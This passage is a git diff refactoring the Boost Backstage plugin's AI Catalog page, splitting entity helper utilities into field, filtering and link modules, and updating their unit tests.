e506c89fe6a..337189c8222 100644 --- a/workspaces/boost/plugins/boost/src/hooks/useAiAssets.ts +++ b/workspaces/boost/plugins/boost/src/hooks/useAiAssets.ts @@ -23,7 +23,7 @@ import { isAiAsset, } from '@red-hat-developer-hub/backstage-plugin-boost-common'; import type { FilterDefinition } from '../blueprints/AiCatalogFilterBlueprint'; -import { applyEntityFilters } from '../utils/entityHelpers'; +import { applyEntityFilters } from '../utils/entityFiltering'; export interface UseAiAssetsResult { /** Entities after all client-side filters. */ diff --git a/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.module.css b/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.module.css new file mode 100644 index 00000000000..d1bd9f90196 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.module.css @@ -0,0 +1,114 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +@layer components { + .page { + --boost-shell-chrome-height: 96px; + height: calc(100dvh - var(--boost-shell-chrome-height)); + min-height: 0; + padding: var(--bui-space-6); + border-radius: var(--bui-radius-4); + background: var(--bui-bg-neutral-1); + display: flex; + flex-direction: column; + } + + .layout { + display: grid; + grid-template-columns: minmax(200px, 240px) minmax(0, 1fr); + gap: var(--bui-space-6); + align-items: start; + flex: 1; + min-width: 0; + min-height: 0; + } + + .desktopFilters { + min-width: 0; + } + + .content { + display: flex; + flex-direction: column; + height: 100%; + width: 100%; + min-width: 0; + min-height: 0; + overflow: hidden; + } + + .resultsSurface { + display: flex; + flex: 1; + flex-direction: column; + min-width: 0; + width: 100%; + min-height: 0; + overflow: hidden; + border: 1px solid var(--bui-border-1); + border-radius: var(--bui-radius-4); + } + + .resultsBody { + flex: 1; + min-width: 0; + min-height: 0; + overflow: auto; + padding: var(--bui-space-4); + } + + .pagination { + flex-shrink: 0; + padding: var(--bui-space-3) var(--bui-space-4); + border-top: 1px solid var(--bui-border-1); + } + + .mobileFilterTrigger { + display: none; + } + + @media (max-width: 1023px) { + .page { + padding: var(--bui-space-4) var(--bui-space-6); + padding-bottom: var(--bui-space-4); + } + + .layout { + display: flex; + flex-direction: column; + } + + .desktopFilters { + display: none; + } + + .mobileFilterTrigger { + display: flex; + margin-bottom: var(--bui-space-4); + } + + .content { + flex: 1; + height: auto; + } + } + + @media (max-width: 639px) { + .page { + --boost-shell-chrome-height: 153px; + } + } +} diff --git a/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogPage.test.tsx b/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.test.tsx similarity index 98% rename from workspaces/boost/plugins/boost/src/components/catalog/AiCatalogPage.test.tsx rename to workspaces/boost/plugins/boost/src/pages/AiCatalogPage.test.tsx index 3400f942129..9ed59e683b5 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogPage.test.tsx +++ b/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.test.tsx @@ -25,8 +25,8 @@ import { providerFilterDefinition, ownerFilterDefinition, tagsFilterDefinition, -} from '../../filters/builtInFilterDefinitions'; -import { boostMessages } from '../../translations/ref'; +} from '../filters/builtInFilterDefinitions'; +import { boostMessages } from '../translations/ref'; import { AiCatalogPage } from './AiCatalogPage'; const { catalog: msg } = boostMessages; diff --git a/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.tsx b/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.tsx new file mode 100644 index 00000000000..cabe910ebee --- /dev/null +++ b/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.tsx @@ -0,0 +1,167 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { useEffect, useMemo, useState, type ReactNode } from 'react'; +import type { SortDescriptor } from '@backstage/ui'; + +import { CatalogErrorBoundary } from '../components/catalog/CatalogErrorBoundary'; +import { CatalogFilters } from '../components/catalog/CatalogFilters/CatalogFilters'; +import { FilterDrawer } from '../components/catalog/CatalogFilters/FilterDrawer'; +import { CatalogResults } from '../components/catalog/CatalogResults/CatalogResults'; +import type { CatalogViewMode } from '../components/catalog/CatalogToolbar'; +import type { FilterDefinition } from '../blueprints/AiCatalogFilterBlueprint'; +import { useAiAssets } from '../hooks/useAiAssets'; +import { useUrlFilters } from '../hooks/useUrlFilters'; +import { useTranslation } from '../hooks/useTranslation'; +import { getSortValue } from '../utils/entityFiltering'; +import styles from './AiCatalogPage.module.css'; + +interface AiCatalogPageProps { + readonly filters: FilterDefinition[]; +} + +const CatalogPageSurface = ({ children }: { readonly children: ReactNode }) => ( +
{children}
+); + +const AiCatalogPageContent = ({ filters }: AiCatalogPageProps) => { + const filterParams = useMemo(() => filters.map(f => f.urlParam), [filters]); + const urlState = useUrlFilters(filterParams); + const { + search, + searchInputValue, + filterValues, + viewMode, + page, + pageSize, + setSearch, + setFilter, + setViewMode, + setPage, + setPageSize, + clearFilters, + } = urlState; + const { entities, allEntities, loading, error, retry } = useAiAssets( + search || undefined, + filters, + filterValues, + ); + + const [sortDescriptor, setSortDescriptor] = useState( + null, + ); + const sortState = useMemo( + () => ({ descriptor: sortDescriptor, onSortChange: setSortDescriptor }), + [sortDescriptor], + ); + + const sortedEntities = useMemo(() => { + if (!sortDescriptor) return entities; + const { column, direction } = sortDescriptor; + const sorted = [...entities].sort((a, b) => + getSortValue(a, column as string).localeCompare( + getSortValue(b, column as string), + ), + ); + return direction === 'descending' ? sorted.reverse() : sorted; + }, [entities, sortDescriptor]); + + const totalCount = entities.length; + const pageStart = page * pageSize; + const pageEntities = useMemo( + () => sortedEntities.slice(pageStart, pageStart + pageSize), + [sortedEntities, pageStart, pageSize], + ); + const hasNextPage = pageStart + pageSize < totalCount; + const hasPreviousPage = page > 0; + const hasActiveFilters = Boolean(search) || filterValues.size > 0; + + useEffect(() => { + if (!loading && !error && page > 0 && pageStart >= totalCount) { + setPage(0, { replace: true }); + } + }, [error, loading, page, pageStart, setPage, totalCount]); + + const results = ( + setPage(page + 1)} + onPreviousPage={() => setPage(page - 1)} + onPageSizeChange={setPageSize} + /> + ); + + if (loading || error || (allEntities.length === 0 && !hasActiveFilters)) { + return {results}; + } + + return ( + +
+
+ +
+
+
+ +
+ {results} +
+
+
+ ); +}; + +export const AiCatalogPage = ({ filters }: AiCatalogPageProps) => { + const { t } = useTranslation(); + + return ( + + + + ); +}; diff --git a/workspaces/boost/plugins/boost/src/plugin.tsx b/workspaces/boost/plugins/boost/src/plugin.tsx index b2a23df2214..fae1f2db846 100644 --- a/workspaces/boost/plugins/boost/src/plugin.tsx +++ b/workspaces/boost/plugins/boost/src/plugin.tsx @@ -15,136 +15,16 @@ */ import { - createExtensionInput, createFrontendModule, createFrontendPlugin, - PageBlueprint, } from '@backstage/frontend-plugin-api'; -import type { Entity } from '@backstage/catalog-model'; -import { TranslationBlueprint } from '@backstage/plugin-app-react'; -import { EntityCardBlueprint } from '@backstage/plugin-catalog-react/alpha'; -import { isAiAsset } from '@red-hat-developer-hub/backstage-plugin-boost-common'; -import { - AiCatalogFilterBlueprint, - filterDefinitionDataRef, -} from './blueprints/AiCatalogFilterBlueprint'; -import { - categoryFilterDefinition, - providerFilterDefinition, - ownerFilterDefinition, - tagsFilterDefinition, -} from './filters/builtInFilterDefinitions'; +import { aiCatalogFilterExtensions } from './extensions/aiCatalogFilters'; +import { aiCatalogPage } from './extensions/aiCatalogPage'; +import { entityCardExtensions } from './extensions/entityCards'; import { rootRouteRef } from './routes'; -import { boostTranslations } from './translations'; -import { getSpecField } from './utils/entityHelpers'; - -const isAgentAsset = (entity: Entity) => - isAiAsset(entity) && getSpecField(entity, 'type')?.toLowerCase() === 'agent'; - -// --------------------------------------------------------------------------- -// Built-in filter extensions -// --------------------------------------------------------------------------- -const categoryFilter = AiCatalogFilterBlueprint.make({ - name: 'category', - params: categoryFilterDefinition, -}); -const providerFilter = AiCatalogFilterBlueprint.make({ - name: 'provider', - params: providerFilterDefinition, -}); -const ownerFilter = AiCatalogFilterBlueprint.make({ - name: 'owner', - params: ownerFilterDefinition, -}); -const tagsFilter = AiCatalogFilterBlueprint.make({ - name: 'tags', - params: tagsFilterDefinition, -}); - -// --------------------------------------------------------------------------- -// Page Blueprint — Browse page at /ai-catalog with extensible filter input -// --------------------------------------------------------------------------- -const aiCatalogPage = PageBlueprint.makeWithOverrides({ - name: 'ai-catalog', - inputs: { - filters: createExtensionInput([filterDefinitionDataRef]), - }, - factory(originalFactory, { inputs }) { - const filterDefs = inputs.filters - .map(f => f.get(filterDefinitionDataRef)) - .sort((a, b) => a.priority - b.priority); - - const registeredParams = new Set(); - for (const def of filterDefs) { - if (registeredParams.has(def.urlParam)) { - throw new Error( - `Duplicate filter urlParam '${def.urlParam}'. Each filter must use a unique URL parameter.`, - ); - } - registeredParams.add(def.urlParam); - } - - return originalFactory({ - path: '/ai-catalog', - routeRef: rootRouteRef, - title: 'AI Catalog', - loader: () => - import('./components/catalog').then(m => ( - - )), - }); - }, -}); - -// --------------------------------------------------------------------------- -// Entity card extensions — AI asset entity overview cards -// --------------------------------------------------------------------------- -const assetDetailsCard = EntityCardBlueprint.make({ - name: 'ai-asset-details', - params: { - filter: isAiAsset, - loader: () => - import('./components/catalog/entity/AssetDetailsCard').then(m => ( - - )), - }, -}); - -const agentInstructionsCard = EntityCardBlueprint.make({ - name: 'agent-instructions', - params: { - filter: isAgentAsset, - loader: () => - import('./components/catalog/entity/AgentInstructionsCard').then(m => ( - - )), - }, -}); - -const usageCard = EntityCardBlueprint.make({ - name: 'usage', - params: { - filter: isAiAsset, - loader: () => - import('./components/catalog/entity/UsageCard').then(m => ( - - )), - }, -}); - -// --------------------------------------------------------------------------- -// Translation Blueprint -// --------------------------------------------------------------------------- -const boostTranslation = TranslationBlueprint.make({ - params: { - resource: boostTranslations, - }, -}); +import boostTranslation from './translations'; -// --------------------------------------------------------------------------- -// Plugin export -// --------------------------------------------------------------------------- /** * The Boost frontend plugin for RHDH. * @public @@ -153,13 +33,8 @@ export const boostPlugin = createFrontendPlugin({ pluginId: 'boost', extensions: [ aiCatalogPage, - categoryFilter, - providerFilter, - ownerFilter, - tagsFilter, - assetDetailsCard, - agentInstructionsCard, - usageCard, + ...aiCatalogFilterExtensions, + ...entityCardExtensions, ], routes: { root: rootRouteRef, diff --git a/workspaces/boost/plugins/boost/src/translations/index.ts b/workspaces/boost/plugins/boost/src/translations/index.ts index 40fcb5ad98a..c3ed5ebee52 100644 --- a/workspaces/boost/plugins/boost/src/translations/index.ts +++ b/workspaces/boost/plugins/boost/src/translations/index.ts @@ -15,6 +15,7 @@ */ import { createTranslationResource } from '@backstage/core-plugin-api/alpha'; +import { TranslationBlueprint } from '@backstage/plugin-app-react'; import { boostTranslationRef } from './ref'; @@ -27,4 +28,13 @@ export const boostTranslations = createTranslationResource({ translations: {}, }); +/** @public */ +const boostTranslation = TranslationBlueprint.make({ + params: { + resource: boostTranslations, + }, +}); + export { boostTranslationRef }; + +export default boostTranslation; diff --git a/workspaces/boost/plugins/boost/src/utils/entityFields.test.ts b/workspaces/boost/plugins/boost/src/utils/entityFields.test.ts new file mode 100644 index 00000000000..0db90acabf7 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/utils/entityFields.test.ts @@ -0,0 +1,113 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + */ + +import type { Entity } from '@backstage/catalog-model'; + +import { + getAgentModel, + getDistinctSpecField, + getHandoffRefs, + getModelsAvailable, + getProvider, + getSpecField, + getSpecRemotes, + getStringArraySpecField, +} from './entityFields'; + +const skill: Entity = { + apiVersion: 'backstage.io/v1alpha1', + kind: 'AiResource', + metadata: { name: 'code-review', description: 'Automated code review skill' }, + spec: { type: 'skill', owner: 'team-ai' }, +}; + +describe('entity field accessors', () => { + it('reads the provider facet from the source annotation', () => { + expect( + getProvider({ + ...skill, + metadata: { + ...skill.metadata, + annotations: { 'rhdh.io/ai-asset-source': 'ogx' }, + }, + }), + ).toBe('ogx'); + }); + + it('reads typed fields and ignores non-string values', () => { + const entity = { ...skill, spec: { ...skill.spec, model: 'typed-model' } }; + expect(getAgentModel(entity)).toBe('typed-model'); + expect(getSpecField(entity, 'enabled')).toBeUndefined(); + expect(getSpecField({ ...skill, spec: undefined }, 'type')).toBeUndefined(); + }); + + it('returns distinct spec text', () => { + expect( + getDistinctSpecField( + { + ...skill, + spec: { ...skill.spec, instructions: 'Use the skill.' }, + }, + 'instructions', + ), + ).toBe('Use the skill.'); + expect( + getDistinctSpecField( + { + ...skill, + spec: { ...skill.spec, instructions: skill.metadata.description }, + }, + 'instructions', + ), + ).toBeUndefined(); + }); + + it('deduplicates model, list, and handoff values', () => { + expect( + getModelsAvailable({ + ...skill, + spec: { models: { available: ['model-a', 42, 'model-a', 'model-b'] } }, + }), + ).toEqual(['model-a', 'model-b']); + expect( + getStringArraySpecField( + { + ...skill, + spec: { categories: ['security', 'security', '', 42, ' quality '] }, + }, + 'categories', + ), + ).toEqual(['security', 'quality']); + expect( + getHandoffRefs({ + ...skill, + spec: { + handoffs: [ + 'airesource:default/legal', + ' ', + 'airesource:default/legal', + ], + }, + }), + ).toEqual(['airesource:default/legal']); + }); + + it('returns valid remote entries and ignores malformed values', () => { + expect( + getSpecRemotes({ + ...skill, + spec: { + remotes: [ + { url: 'https://mcp.example.com', type: 'streamable-http' }, + { url: ' ' }, + 'invalid', + ], + }, + }), + ).toEqual([{ url: 'https://mcp.example.com', type: 'streamable-http' }]); + }); +}); diff --git a/workspaces/boost/plugins/boost/src/utils/entityHelpers.ts b/workspaces/boost/plugins/boost/src/utils/entityFields.ts similarity index 53% rename from workspaces/boost/plugins/boost/src/utils/entityHelpers.ts rename to workspaces/boost/plugins/boost/src/utils/entityFields.ts index eee41ff7417..1cd889ad7d1 100644 --- a/workspaces/boost/plugins/boost/src/utils/entityHelpers.ts +++ b/workspaces/boost/plugins/boost/src/utils/entityFields.ts @@ -15,50 +15,15 @@ */ import type { Entity } from '@backstage/catalog-model'; -import { parseEntityRef } from '@backstage/catalog-model'; - -import type { FilterDefinition } from '../blueprints/AiCatalogFilterBlueprint'; -import { getCategoryMeta } from './categoryMeta'; const AI_ASSET_SOURCE_ANNOTATION = 'rhdh.io/ai-asset-source'; -function catalogHref(kind: string, namespace: string, name: string): string { - return `/catalog/${namespace}/${kind.toLowerCase()}/${name}`; -} - function getSpecObject(entity: Entity): Record | undefined { return typeof entity.spec === 'object' && entity.spec !== null ? (entity.spec as Record) : undefined; } -export function entityHref(entity: Entity): string { - const namespace = entity.metadata.namespace ?? 'default'; - return catalogHref(entity.kind, namespace, entity.metadata.name); -} - -/** - * Builds a catalog entity page URL from an entity ref string (e.g. an - * owner value from `spec.owner`), which may be a bare name, a - * `kind:namespace/name` ref, or a `kind:name` ref. Bare names default to - * kind `group` in the `default` namespace, matching common Backstage - * conventions for `spec.owner`. - * - * Returns `undefined` when `ref` is not a valid entity ref, so callers can - * omit the link instead of throwing. - */ -export function entityRefHref(ref: string): string | undefined { - try { - const { kind, namespace, name } = parseEntityRef(ref, { - defaultKind: 'group', - defaultNamespace: 'default', - }); - return catalogHref(kind, namespace, name); - } catch { - return undefined; - } -} - export function getSpecField( entity: Entity, field: string, @@ -112,33 +77,23 @@ export function getSpecRemotes(entity: Entity): EntityRemote[] { if (typeof remote !== 'object' || remote === null) return []; const entry = remote as Record; const url = typeof entry.url === 'string' ? entry.url.trim() : ''; - if (!url) { - return []; - } + if (!url) return []; const type = typeof entry.type === 'string' && entry.type.trim().length > 0 ? entry.type.trim() : undefined; - return [ - { - url, - ...(type && { type }), - }, - ]; + return [{ url, ...(type && { type }) }]; }); } export function getModelsAvailable(entity: Entity): string[] { const models = getSpecObject(entity)?.models; if (typeof models !== 'object' || models === null) return []; - return getUniqueStrings((models as Record).available); } -/** - * Returns the provider facet from the AI asset source annotation. - */ +/** Returns the provider facet from the AI asset source annotation. */ export function getProvider(entity: Entity): string | undefined { return entity.metadata.annotations?.[AI_ASSET_SOURCE_ANNOTATION]; } @@ -152,54 +107,3 @@ export function getAgentModel(entity: Entity): string | undefined { export function getHandoffRefs(entity: Entity): string[] { return getStringArraySpecField(entity, 'handoffs'); } - -/** - * Apply search + registered filter definitions in AND logic. - * Search is built-in (not a FilterDefinition). Each FilterDefinition - * with active values must match for the entity to be included. - */ -export function applyEntityFilters( - items: Entity[], - search: string | undefined, - filters: FilterDefinition[], - filterValues: Map, -): Entity[] { - let results = items; - - if (search) { - const term = search.toLowerCase(); - results = results.filter( - e => - e.metadata.name.toLowerCase().includes(term) || - (e.metadata.title ?? '').toLowerCase().includes(term) || - (e.metadata.description ?? '').toLowerCase().includes(term) || - (e.metadata.tags ?? []).some(t => t.toLowerCase().includes(term)), - ); - } - - for (const filter of filters) { - const values = filterValues.get(filter.urlParam); - if (values && values.length > 0) { - results = results.filter(e => filter.matchEntity(e, values)); - } - } - - return results; -} - -export function getSortValue(entity: Entity, columnId: string): string { - switch (columnId) { - case 'title': - return entity.metadata.title ?? entity.metadata.name; - case 'categoryLabel': - return getCategoryMeta(getSpecField(entity, 'type')).label; - case 'owner': - return getSpecField(entity, 'owner') ?? ''; - case 'provider': - return getProvider(entity) ?? ''; - case 'description': - return entity.metadata.description ?? ''; - default: - return ''; - } -} diff --git a/workspaces/boost/plugins/boost/src/utils/entityFiltering.test.ts b/workspaces/boost/plugins/boost/src/utils/entityFiltering.test.ts new file mode 100644 index 00000000000..0b76ae54e06 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/utils/entityFiltering.test.ts @@ -0,0 +1,66 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + */ + +import type { Entity } from '@backstage/catalog-model'; +import type { FilterDefinition } from '../blueprints/AiCatalogFilterBlueprint'; + +import { applyEntityFilters } from './entityFiltering'; + +const entities: Entity[] = [ + { + apiVersion: 'backstage.io/v1alpha1', + kind: 'AiResource', + metadata: { + name: 'code-review', + description: 'Security skill', + tags: ['security'], + }, + spec: { type: 'skill', owner: 'team-ai' }, + }, + { + apiVersion: 'backstage.io/v1alpha1', + kind: 'AiResource', + metadata: { name: 'dev-assistant', description: 'Developer assistant' }, + spec: { type: 'agent', owner: 'team-ml' }, + }, +]; + +const typeFilter: FilterDefinition = { + urlParam: 'type', + label: 'Type', + getOptions: () => [], + matchEntity: (entity, values) => + values.some( + value => value.toLowerCase() === String(entity.spec?.type).toLowerCase(), + ), + priority: 100, +}; + +describe('applyEntityFilters', () => { + it('returns all entities when no search or filters are active', () => { + expect(applyEntityFilters(entities, undefined, [], new Map())).toHaveLength( + 2, + ); + }); + + it('combines case-insensitive search and filters with AND logic', () => { + expect( + applyEntityFilters( + entities, + 'CODE-REVIEW', + [typeFilter], + new Map([['type', ['skill']]]), + ), + ).toEqual([entities[0]]); + }); + + it('skips filters with no active values', () => { + expect( + applyEntityFilters(entities, undefined, [typeFilter], new Map()), + ).toHaveLength(2); + }); +}); diff --git a/workspaces/boost/plugins/boost/src/utils/entityFiltering.ts b/workspaces/boost/plugins/boost/src/utils/entityFiltering.ts new file mode 100644 index 00000000000..815a09cd4a6 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/utils/entityFiltering.ts @@ -0,0 +1,68 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import type { Entity } from '@backstage/catalog-model'; + +import type { FilterDefinition } from '../blueprints/AiCatalogFilterBlueprint'; +import { getCategoryMeta } from './categoryMeta'; +import { getProvider, getSpecField } from './entityFields'; + +/** Apply search + registered filter definitions in AND logic. */ +export function applyEntityFilters( + items: Entity[], + search: string | undefined, + filters: FilterDefinition[], + filterValues: Map, +): Entity[] { + let results = items; + + if (search) { + const term = search.toLowerCase(); + results = results.filter( + e => + e.metadata.name.toLowerCase().includes(term) || + (e.metadata.title ?? '').toLowerCase().includes(term) || + (e.metadata.description ?? '').toLowerCase().includes(term) || + (e.metadata.tags ?? []).some(t => t.toLowerCase().includes(term)), + ); + } + + for (const filter of filters) { + const values = filterValues.get(filter.urlParam); + if (values && values.length > 0) { + results = results.filter(e => filter.matchEntity(e, values)); + } + } + + return results; +} + +export function getSortValue(entity: Entity, columnId: string): string { + switch (columnId) { + case 'title': + return entity.metadata.title ?? entity.metadata.name; + case 'categoryLabel': + return getCategoryMeta(getSpecField(entity, 'type')).label; + case 'owner': + return getSpecField(entity, 'owner') ?? ''; + case 'provider': + return getProvider(entity) ?? ''; + case 'description': + return entity.metadata.description ?? ''; + default: + return ''; + } +} diff --git a/workspaces/boost/plugins/boost/src/utils/entityHelpers.test.ts b/workspaces/boost/plugins/boost/src/utils/entityHelpers.test.ts deleted file mode 100644 index e23e4e2be4c..00000000000 --- a/workspaces/boost/plugins/boost/src/utils/entityHelpers.test.ts +++ /dev/null @@ -1,306 +0,0 @@ -/* - * Copyright Red Hat, Inc. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -import type { Entity } from '@backstage/catalog-model'; - -import type { FilterDefinition } from '../blueprints/AiCatalogFilterBlueprint'; -import { - applyEntityFilters, - entityRefHref, - getAgentModel, - getDistinctSpecField, - getHandoffRefs, - getModelsAvailable, - getProvider, - getSpecRemotes, - getSpecField, - getStringArraySpecField, -} from './entityHelpers'; - -const skill: Entity = { - apiVersion: 'backstage.io/v1alpha1', - kind: 'AiResource', - metadata: { - name: 'code-review', - namespace: 'default', - description: 'Automated code review skill', - tags: ['security'], - }, - spec: { type: 'skill', lifecycle: 'production', owner: 'team-ai' }, -}; - -const agent: Entity = { - apiVersion: 'backstage.io/v1alpha1', - kind: 'AiResource', - metadata: { - name: 'dev-assistant', - namespace: 'default', - description: 'AI developer assistant', - tags: ['agent'], - }, - spec: { type: 'agent', lifecycle: 'experimental', owner: 'team-ml' }, -}; - -describe('entityRefHref', () => { - it('builds a group catalog URL from a bare owner name', () => { - expect(entityRefHref('team-ai-platform')).toBe( - '/catalog/default/group/team-ai-platform', - ); - }); - - it('parses a fully-qualified group ref', () => { - expect(entityRefHref('group:other-ns/platform')).toBe( - '/catalog/other-ns/group/platform', - ); - }); - - it('parses a fully-qualified user ref', () => { - expect(entityRefHref('user:default/jdoe')).toBe( - '/catalog/default/user/jdoe', - ); - }); - - it('returns undefined for an unparseable ref', () => { - expect(entityRefHref('group:')).toBeUndefined(); - }); -}); - -describe('entity metadata accessors', () => { - it('reads the provider facet from the source annotation', () => { - const entity: Entity = { - ...skill, - metadata: { - ...skill.metadata, - annotations: { 'rhdh.io/ai-asset-source': 'ogx' }, - }, - }; - - expect(getProvider(entity)).toBe('ogx'); - }); - - it('reads the typed agent model', () => { - const entity: Entity = { - ...agent, - spec: { - ...agent.spec, - model: 'typed-model', - }, - }; - - expect(getAgentModel(entity)).toBe('typed-model'); - expect(getAgentModel({ ...entity, spec: agent.spec })).toBeUndefined(); - }); - - it('ignores non-string spec values', () => { - expect( - getSpecField( - { - ...skill, - spec: { type: 'skill', enabled: true, count: 2 }, - }, - 'enabled', - ), - ).toBeUndefined(); - expect(getSpecField({ ...skill, spec: undefined }, 'type')).toBeUndefined(); - }); - - it('returns spec text only when it differs from the description', () => { - expect( - getDistinctSpecField( - { ...skill, spec: { ...skill.spec, instructions: 'Use the skill.' } }, - 'instructions', - ), - ).toBe('Use the skill.'); - expect( - getDistinctSpecField( - { - ...skill, - spec: { ...skill.spec, instructions: skill.metadata.description }, - }, - 'instructions', - ), - ).toBeUndefined(); - }); - - it('returns unique string model names from the model list', () => { - expect( - getModelsAvailable({ - ...skill, - spec: { - type: 'ai-model-server', - models: { available: ['model-a', 42, 'model-a', null, 'model-b'] }, - }, - }), - ).toEqual(['model-a', 'model-b']); - }); - - it('returns unique non-empty handoff references', () => { - expect( - getHandoffRefs({ - ...agent, - spec: { - ...agent.spec, - handoffs: [ - 'airesource:default/legal', - ' ', - 'airesource:default/legal', - 42, - ' airesource:default/support ', - ], - }, - }), - ).toEqual(['airesource:default/legal', 'airesource:default/support']); - }); - - it('returns unique string values from list-valued spec fields', () => { - expect( - getStringArraySpecField( - { - ...skill, - spec: { - ...skill.spec, - categories: ['security', 'security', '', 42, ' quality '], - }, - }, - 'categories', - ), - ).toEqual(['security', 'quality']); - }); - - it('returns valid remote entries and ignores malformed values', () => { - expect( - getSpecRemotes({ - ...skill, - spec: { - ...skill.spec, - remotes: [ - { url: 'https://mcp.example.com', type: 'streamable-http' }, - { url: ' ' }, - { type: 'missing-url' }, - 'invalid', - ], - }, - }), - ).toEqual([{ url: 'https://mcp.example.com', type: 'streamable-http' }]); - }); -}); - -const entities = [skill, agent]; - -const typeFilter: FilterDefinition = { - urlParam: 'type', - label: 'Type', - getOptions: () => [], - matchEntity: (e, vals) => { - const t = (e.spec as Record)?.type as string | undefined; - return ( - t !== undefined && vals.some(v => v.toLowerCase() === t.toLowerCase()) - ); - }, - priority: 100, -}; - -const ownerFilter: FilterDefinition = { - urlParam: 'owner', - label: 'Owner', - getOptions: () => [], - matchEntity: (e, vals) => { - const o = (e.spec as Record)?.owner as string | undefined; - return ( - o !== undefined && vals.some(v => v.toLowerCase() === o.toLowerCase()) - ); - }, - priority: 200, -}; - -describe('applyEntityFilters', () => { - it('returns all entities when no search or filters active', () => { - const result = applyEntityFilters(entities, undefined, [], new Map()); - expect(result).toHaveLength(2); - }); - - it('filters by search term in name', () => { - const result = applyEntityFilters(entities, 'code-review', [], new Map()); - expect(result).toHaveLength(1); - expect(result[0].metadata.name).toBe('code-review'); - }); - - it('filters by search term in description', () => { - const result = applyEntityFilters( - entities, - 'developer assistant', - [], - new Map(), - ); - expect(result).toHaveLength(1); - expect(result[0].metadata.name).toBe('dev-assistant'); - }); - - it('filters by search term in tags', () => { - const result = applyEntityFilters(entities, 'security', [], new Map()); - expect(result).toHaveLength(1); - expect(result[0].metadata.name).toBe('code-review'); - }); - - it('applies single filter via matchEntity', () => { - const values = new Map([['type', ['skill']]]); - const result = applyEntityFilters( - entities, - undefined, - [typeFilter], - values, - ); - expect(result).toHaveLength(1); - expect(result[0].metadata.name).toBe('code-review'); - }); - - it('applies multiple filters in AND logic', () => { - const values = new Map([ - ['type', ['skill']], - ['owner', ['team-ml']], - ]); - const result = applyEntityFilters( - entities, - undefined, - [typeFilter, ownerFilter], - values, - ); - expect(result).toHaveLength(0); - }); - - it('combines search with filters in AND logic', () => { - const values = new Map([['type', ['skill']]]); - const result = applyEntityFilters(entities, 'code', [typeFilter], values); - expect(result).toHaveLength(1); - expect(result[0].metadata.name).toBe('code-review'); - }); - - it('skips filters with no active values', () => { - const values = new Map(); - const result = applyEntityFilters( - entities, - undefined, - [typeFilter, ownerFilter], - values, - ); - expect(result).toHaveLength(2); - }); - - it('search is case-insensitive', () => { - const result = applyEntityFilters(entities, 'CODE-REVIEW', [], new Map()); - expect(result).toHaveLength(1); - }); -}); diff --git a/workspaces/boost/plugins/boost/src/utils/entityLinks.test.ts b/workspaces/boost/plugins/boost/src/utils/entityLinks.test.ts new file mode 100644 index 00000000000..7e7756eb196 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/utils/entityLinks.test.ts @@ -0,0 +1,32 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + */ + +import type { Entity } from '@backstage/catalog-model'; + +import { entityHref, entityRefHref } from './entityLinks'; + +const entity: Entity = { + apiVersion: 'backstage.io/v1alpha1', + kind: 'AiResource', + metadata: { name: 'code-review', namespace: 'default' }, +}; + +describe('entity links', () => { + it('builds an entity page URL', () => { + expect(entityHref(entity)).toBe('/catalog/default/airesource/code-review'); + }); + + it('parses bare, fully-qualified, and invalid refs', () => { + expect(entityRefHref('team-ai-platform')).toBe( + '/catalog/default/group/team-ai-platform', + ); + expect(entityRefHref('user:default/jdoe')).toBe( + '/catalog/default/user/jdoe', + ); + expect(entityRefHref('group:')).toBeUndefined(); + }); +}); diff --git a/workspaces/boost/plugins/boost/src/utils/entityLinks.ts b/workspaces/boost/plugins/boost/src/utils/entityLinks.ts new file mode 100644 index 00000000000..1a71fd3efba --- /dev/null +++ b/workspaces/boost/plugins/boost/src/utils/entityLinks.ts @@ -0,0 +1,44 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 